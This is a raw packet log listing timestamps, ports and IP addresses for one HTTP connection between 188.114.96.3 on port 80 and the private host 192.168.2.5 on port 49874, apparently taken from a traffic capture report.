Nov 1, 2024 15:15:00.164273024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.164294004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.164309978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.164325953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.164330006 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.164330006 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.164340973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.164356947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.164361954 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.164361954 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.164371967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.164387941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.164397001 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.164402962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.164419889 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.164421082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.164457083 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.164457083 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.165178061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.165194035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.165209055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.165224075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.165239096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.165245056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.165245056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.165256023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.165277004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.165285110 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.165292978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.165307045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.165308952 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.165326118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.165338993 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.165338993 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.165343046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.165410042 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.165410042 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.166143894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.166162014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.166176081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.166189909 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.166191101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.166208029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.166210890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.166224957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.166239023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.166254997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.166256905 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.166256905 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.166270018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.166285038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.166301012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.166971922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.166987896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167002916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167016029 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.167018890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167043924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167062044 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.167068005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167083979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167087078 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.167099953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167115927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167119026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.167119026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.167133093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167146921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167160034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.167268991 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.167268991 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.167967081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167983055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.167999029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168015003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168025017 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168025017 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168030024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168042898 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168046951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168061018 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168076038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168086052 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168086052 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168092012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168101072 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168107033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168123007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168126106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168138027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168179035 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168201923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168802023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168818951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168833971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168837070 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168848991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168864012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168864012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168879032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168879032 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168894053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.168919086 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.168963909 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.270376921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270401955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270416021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270498037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.270498037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.270508051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270519972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270531893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270545006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270553112 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.270566940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.270611048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.270790100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270802021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270848036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.270876884 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.270879984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270893097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270903111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270915031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270925999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270937920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270950079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.270962000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.270962000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.270962000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.270976067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.271821022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.271832943 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.271842957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.271855116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.271866083 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.271877050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.271888971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.271902084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.271907091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.271907091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.271907091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.271914005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.271927118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.271944046 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.271979094 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.272664070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.272676945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.272687912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.272700071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.272711039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.272716045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.272723913 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.272730112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.272736073 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.272737026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.272748947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.272762060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.272778034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.272799015 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.273592949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.273605108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.273617029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.273627996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.273646116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.273658037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.273669958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.273680925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.273685932 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.273691893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.273705006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.273724079 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.273724079 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.273750067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.274494886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.274507999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.274518967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.274525881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.274533987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.274538040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.274538040 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.274544001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.274555922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.274565935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.274573088 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.274576902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.274625063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.274625063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.275434017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.275446892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.275459051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.275470972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.275473118 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.275487900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.275489092 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.275501013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.275506973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.275511980 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.275512934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.275518894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.275525093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.275597095 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.276339054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.276351929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.276364088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.276376009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.276379108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.276387930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.276400089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.276412010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.276423931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.276433945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.276446104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.276457071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.276490927 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.276492119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.276492119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.276511908 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.276511908 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.276511908 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.342081070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342158079 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.342273951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342287064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342322111 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.342324972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342336893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342344046 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.342350006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342361927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342374086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342398882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.342398882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.342398882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.342430115 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.342721939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342734098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342745066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342756987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.342765093 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.342781067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.342808962 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.343063116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343075991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343087912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343100071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343118906 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.343118906 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.343158007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.343462944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343477011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343487978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343498945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343512058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343523026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343533993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343544006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343553066 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.343556881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.343589067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.343625069 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.344199896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.344204903 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.344218016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.344229937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.344239950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.344250917 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.344254017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.344265938 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.344278097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.344290018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.344300985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.344306946 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.344306946 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.344306946 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.344389915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.344389915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.345000029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.345093966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.345113039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.345125914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.345135927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.345148087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.345159054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.345171928 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.345171928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.345185041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.345197916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.345208883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.345210075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.345210075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.345223904 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.345261097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.346046925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346065998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346079111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346091032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346101999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346113920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346122026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.346122026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.346126080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346137047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346148014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346158981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346159935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.346159935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.346180916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.346278906 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.346961021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346973896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346982956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.346995115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347007036 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347014904 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.347018003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347029924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347043037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347050905 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.347054005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347064018 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.347065926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347080946 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347110987 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.347110987 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.347142935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.347872972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347884893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347897053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347908974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347922087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347925901 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.347925901 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.347938061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347949028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347960949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347974062 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.347985983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.348006010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.348006010 CET	49874	80	192.168.2.5	188.114.96.3
